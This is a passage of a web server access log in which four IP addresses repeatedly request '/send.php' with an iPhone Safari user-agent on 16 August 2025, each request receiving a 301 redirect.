(iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:06:09:18 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:06:25:17 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:06:25:17 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:06:25:17 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:06:25:17 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:06:41:27 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:06:41:27 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:06:41:27 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:06:41:27 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1"